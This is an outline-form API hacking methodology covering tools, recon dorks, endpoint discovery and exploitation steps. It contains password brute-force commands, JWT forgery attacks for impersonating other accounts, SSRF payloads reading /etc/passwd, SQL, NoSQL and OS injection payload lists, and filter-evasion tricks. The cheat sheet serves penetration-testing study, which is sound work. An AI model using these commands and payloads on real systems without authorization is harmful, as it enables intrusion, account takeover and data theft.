API Hacking Workflow

- **Setup**
  - Tools
    - AFL
      - https://github.com/google/AFL
    - Apache Jmeter
      - https://jmeter.apache.org/
    - apidetector
      - github.com/brinhosa/apidetector
    - amass
      - https://github.com/owasp-amass/amass
    - Arjun
      - https://github.com/s0md3v/Arjun
    - Burpsuite
      - https://portswigger.net/burp
      - autorize burp extension
        - burp Bapp store.
      - param miner extension
        - burp Bapp store.
    - cewl
      - https://github.com/digininja/CeWL
    - crunch
      - https://github.com/jim3ma/crunch
    - feroxbuster
      - https://github.com/epi052/feroxbuster
    - foxy proxy
      - browser extension/plugin
    - FuFF
      - https://github.com/ffuf/ffuf
    - Gatling
      - https://gatling.io/
    - John the ripper
      - https://github.com/openwall/john
    - jwt_tool
      - https://github.com/ticarpi/jwt_tool
    - kiterunner
      - https://github.com/assetnote/kiterunner
    - mitmproxy2swagger
      - https://github.com/alufers/mitmproxy2swagger
    - OFFAT
      - https://github.com/OWASP/OFFAT
    - Postman
      - www.postman.com
    - mitmweb
      - https://github.com/mitmproxy/mitmproxy/tree/main
    - RESTler
      - https://github.com/microsoft/restler-fuzzer
    - Wfuzz
      - https://github.com/xmendez/wfuzz
  - Wordlists
    - Seclists
      - https://github.com/danielmiessler/SecLists
      - SecLists/Discovery/Web-Content/api
      - https://github.com/danielmiessler/SecLists/tree/master/Fuzzing
    - https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list
    - https://github.com/payloadbox
    - https://github.com/swisskyrepo/PayloadsAllTheThings
- **Recon**
  - Passive
    - Google dorks
      - api TARGET_NAME
      - site:github.com inurl: /api/ language:javascript
      - intitle:"api" site:"test.com"
      - intitle:json site:test.com
      - intitle: "API Documentation"
      - intitle: "index of" intext:"swagger.yaml"
      - inurl:"/api/v1" site:test.com
      - inurl:"/api/v2" site:test.com
      - inurl:"/api/v3" site:test.com
      - inurl:/swagger.json
      - filetype:pdf intext" "API"
    - Git dorks
      - search TARGET_NAME for an official/non official repo or account
        - If open or available search code for keys, tokens, auth codes.
        - Check the "issues" tab for bugs
        - Check "pull request" tab for proposed changes.
      - "authorization: Bearer"
      - api key exposed
      - extension:json
      - extension:json api_key
      - extension:yaml oauth2
      - filename:swagger.json
      - filename:swagger.yml api
      - filename:openapi.json "x-api-key"
      - filename:openai.yaml inurl: /api/
      - filename:config.js token
      - filename:.env "API_KEY"
      - filename:docker-compose.yml port:
    - shodan.io
      - Search the IP
      - search target name/domain
      - hostname:"domainname.com"
      - "domain.com" "content-type: application/json"
      - "domain.com" "content-type: application/xml"
      - "domain.com" "wp-json"
      - "domain.com" "/__swagger__/"
      - "content-type: application/json"
      - "wp-json"
    - API directories
      - rapidapi.com/hub
      - https://apis.guru/
      - github.com/public-apis/public-apis
    - Wayback Machine
      - search the API URL and check for changes.
    - dnsdumpster.com
    - Key hacks - Tests various API keys
      - https://github.com/streaak/keyhacks
  - Active
    - Discovery
      - API detector
        - Hunts for swagger endpoints
          - single domain scan
            - python apidetector.py -d example.com
          - multi domain scan
            - python apidetector.py -i input_file.txt
          - optional flags
            - -m (http and https scan) -ua (custom user agent) -o (outputfile.txt)
      - Amass
        - amass enum -active -brute -w APIwordlist -d DOMAIN_HERE -dir DIRECTORYTOSAVEAT
        - Visualize results
          - amass viz -enum -d3 -dir FOLDERNAME
        - amass enum -active -d DOMAIN_HERE
          - amass enum -active -d DOMAIN_HERE | grep api
      - fuff
        - ffuf -w api-endpoints-res.txt -u http://DOMAIN -mc 200,301,307 -c -v -fl 1
      - kiterunner
        - kr scan http://DOMAIN -w /list/routes-large.kite
      - nmap
        - nmap -p- IP_HERE
        - nmap -sV IP_HERE -p PORT_HERE
      - browser devtools
        - use the "network" tab and add the "URL" field to the view
          - browse and use the site and look for /api/ directories
            - Check the information headers on the info side right.
          - right click and "copy as curl" a request and paste into postman.
    - Scanning + Enumeration
      - feroxbuster
        - feroxbuster -u http://127.1 -x json
        - feroxbuster -u http://127.1/API_DIRECTORY_NAME
        - feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"
        - send through burpsuite
          - feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080
      - OWASP OFFAT
        - offat -f swagger_file.json
      - postman
        - Ingest copy n pasted requests from other sources.
          - import "raw text" and past the curl request.
    - Building your own Documentation
      - mitmweb
        - ① command line use "mitmweb" to turn on listening
        - ② setup foxy proxy to run on port 8080
          - interface is at port 8081
        - ③ browse the site like normal Click all things
        - ④ goto the mitweb interface and save file
          - interface is at port 8081
        - ⑤ use mitmproxy2swagger to convert the file to openAPI 3.0 YAML.
          - mitmproxy2swagger -i /path_to_flow_file -o outputname.yml -p http://domain.com -f flow --examples
        - ⑥ edit the output.yml file in text editor. Remove none API endpoints by using the ignore tag.
        - ⑦ load into editor.swagger.io
        - ⑦ Load in postman
      - postman
        - ① Create a new collection
        - ② Turn on the "capture requests" feature.
          - ① Enable proxy and set to port 5555 or port you have set for postman in Foxy Proxy
          - ② Set the URL and click "start Capture"
        - ③ Turn on Foxy Proxy in your browser and use the webapp like normal.
        - ④ Press the "stop capture" button and review requests.
        - ⑤ Check mark each valid API request and then click "add to collection" Check "organize by endpoint" and "by Domain"
        - ⑥ Check captured API request "body" for format, requests.
- **Exploit**
  - Unauthenitcated
    - API password brute forcing
      - Wfuzz
        - Use discovered user names in place of "admin"
        - Use a password list
        - change error codes depending on responses.
        - wfuzz -d '{"username":"admin","password":"FUZZ"}' -H 'Content-Type: application/json -z file,password.list -u http://DOMAIN.com/logonpage --hc 401
      - Burpsuite
        - send proxied logon attempt to intruder
        - highlight the password and set password list as payload
  - Authenticated
    - Stress testing
      - Gatling
        - In the Gatling directory run
          - ① ./bin/gatling.sh -s name.of.your.simulation
          - ② open simulation script in user-files/simulations/bojap/simulations/ParallelAPISimulation.scala
            - Modify Modify baseURL and API request
            - Change the concurrent user value.
            - Save script
          - ③ run ./bin/gatling.sh
            - Choose the simulation number that is previously save script.
          - ④ After running, HTML report is generated
            - Report is stored in the results directory
      - Apache Jmeter
    - Fuzzing
      - Protocol fuzzing
        - HTTP method fuzzing
        - Header manipulation
      - Parameter fuzzing
        - Input data fuzzing
        - Boundry fuzzing - buffer overflow/underflow
      - Authentication fuzzing
        - Invalid Credentials
      - Concurrent and timing fuzzing
        - Concurrent or race conditions
        - Timing attacks
      - Stateful Fuzzing
        - Session tokens or state information.
      - Nested and recursive fuzzing
        - Nested requests - complex and deep nested request handling.
        - Recursive fuzzing - recursion depth and resource exhaustion.
      - XML and JSON fuzzing
        - XML and JSON payloads with various encoding, special characters, unexpected structures.
      - File format fuzzing
        - malformed or unexpected file formats
      - Edge case fuzzing
        - testing inputs with very large numbers, very small numbers, negative numbers, null or empty values. Unusual formats.
      - Custom fuzzing
        - Fuzzing tailored towards a specific API and how it works.
      - Tools
        - AFL
          - ① compile the AFL API client
            - afl-gcc -o afl_api_client afl_api_client.c
          - ② creat the first json request
            - mkdir in echo '{"param1": "value1", "param2": "value2"}' > in/seed.json
          - ③ run the AFL for api fuzzing
            - afl-fuzz -i in -o out ./afl_api_client @@
          - ④ analyze the output reports for issues.
    - Token Analysis
      - Capture a successful logon with burpsuite that returns a token.
        - ① Send the request to "sequencer"
        - ② Highlight the token in the request and click analyze.
          - Review the summary and analysis.
            - If poor token use, then brute for tokens with intruder.
      - Json Web Token(JWT)
        - Site
          - jwt.io
        - Tool
          - jwt_tool
            - jwt_tool PASTE_JWT_TOKEN_HERE
              - Displays info about token
            - jwt_tool -t http://PATH_TO_AUTH_ONLY_DIRECTORY -rh "Authorization: Bearer PASTE_TOKEN_HERE" -M pb
              - Performs all tests on token
            - jwt_tool PASTE_TOKEN_HERE -X ATTACK_FLAG
              - Performs exploits on tokens and generates new tokens to try.
                - flags
                  - a = alg:none
                  - n = null signature
                  - b = blank password accepted in signature
                  - s = spoof JWKS
                  - k = key confusion (specify public key with -pk)
                  - i = inject inline JWKS
            - Brute force signature keys
              - ① crunch
                - crunch min# max# -o password.txt
                - ex crunch 5 10 -o password.txt
              - ② jwt_tool
                - jwt_tool PASTE_TOKEN -C -d password.txt
              - ③ If JWT signature key is found
                - Put the key into the signature and change the email address in the header to another valid account.
                  - use jwt.io then copy n paste the new token back to the API.
    - Improper Asset Management
      - ① API version examples
        - api.target.com/3/accounts
        - /api/v2/accounts
        - v2/accounts
        - api2.target.com/accounts
        - Headers
          - Accept: version=2.0
          - Accept api-version=3
        - query parameter
          - /api/accounts?ver=2
      - ② Check for older versions - lower numbers for continued usage.
        - Check for differences in older and newer version of the API.
      - ③ Non Production naming examples
        - api.test.target.com
        - api.uat.target.com
        - beta.api.target.com
        - delta.api.target.com
        - /api/private
        - /api/partner
        - /api/test
      - ④ Check for access to the above by unauthenticated or lower privilege user account.
    - Mass assigment
      - ① On API requests with multiple json parameters. Try guessing hidden parameters (eg. admin:"True")
      - ② Use the burp extension param miner on a API request to guess json params.
      - ③ Try different request methods POST, PUT, etc..
    - Server Side Request Forgery(SSRF)
      - ① Look for API post requests that make directory path requests or URL requests.
      - ② check for referer header
      - ③ Payloads
        - https://\\web-attacker.com/
        - https://localhost/
        - http://127.0.0.1:80
        - http://[::]:80/
        - http://127.127.127.127
        - file:///etc/passwd
        - file://\/\/etc/passwd
      - more examples payloads
        - https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
        - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
    - Injection
      - Injection catagories
        - logic
          - Very large numbers
          - Very large string
          - A negative number
          - A string in stead of a number or boolean value(true/false)
          - Random characters
          - Boolean values (true/false)
          - Meta characters
        - SQL Injection
          - '
          - "
          - ;%00
          - --
          - -- -
          - ""
          - ;
          - ' OR '1
          - ' OR 1 -- -
          - " OR "" = "
          - " OR 1 = 1 -- -
          - ' OR '' = '
          - OR 1=1
        - NoSQL
          - $gt
          - {"$gt":""}
          - {"$gt":-1}
          - $ne
          - {"$ne":""}
          - {"$ne":-1}
          - $nin
          - {"$nin":1}
          - {"$nin":[1]}
          - {"$where": "sleep(1000)"}
        - OS Injection
          - |
          - ||
          - &
          - &&
          - '
          - "
          - ;
          - '"
          - OS system
            - ipconfig
          - Windows
            - dir
            - ver
            - whoami
            - ifconfig
          - Linux
            - ls
            - pwd
            - whoami
      - Payload wordlists
        - https://github.com/payloadbox
        - https://github.com/swisskyrepo/PayloadsAllTheThings
        - https://github.com/danielmiessler/SecLists/tree/master/Fuzzing
      - Workflow
        - ① Look for areas where a user can input values for requests
          - Inject into headers or URL paths too.
        - ② Postman for testing a wide amount of targets
          - Set a "variable" for all the the user input areas of interest.
          - Set 1 payload from each category as a variable value.
          - Run a collection test with each type of payload.
            - Make note of status codes for each request and response code. (ok, unauth, error, not found)
            - After testing for each injection type. Compare the status code numbers and look for interesting changes for a normal run and different inject runs.
        - ③ After identifying interesting responses for targeted requests. Try deeper targeted fuzzing with burpsuite or wfuzz.
          - PROTIP: Save a request as a file in burp suite and then copy n paste values for wfuzz.
            - wfuzz -z file, payloadwordlist.txt -H "Content-Type: application/json" -H "Authorization: Bearer PASTETOKENHERE" -d "{\"value2fuzz\":FUZZ}" http://URL_PATH_2_FUZZ
    - Evasion
      - Null bytes
        - %00
        - 0x00
        - //
        - ;
        - %
        - !
        - ?
        - []
        - %5B%5D
        - %09
        - %0a
        - %0b
        - %0c
        - %0e
      - Case switching
        - POST /api/myProfile
        - POST /api/MyProfile
        - POST /aPi/MypRoFiLe
      - Encoding
        - URL Encoded
        - Double URL Encoded
- **Exfiltrate**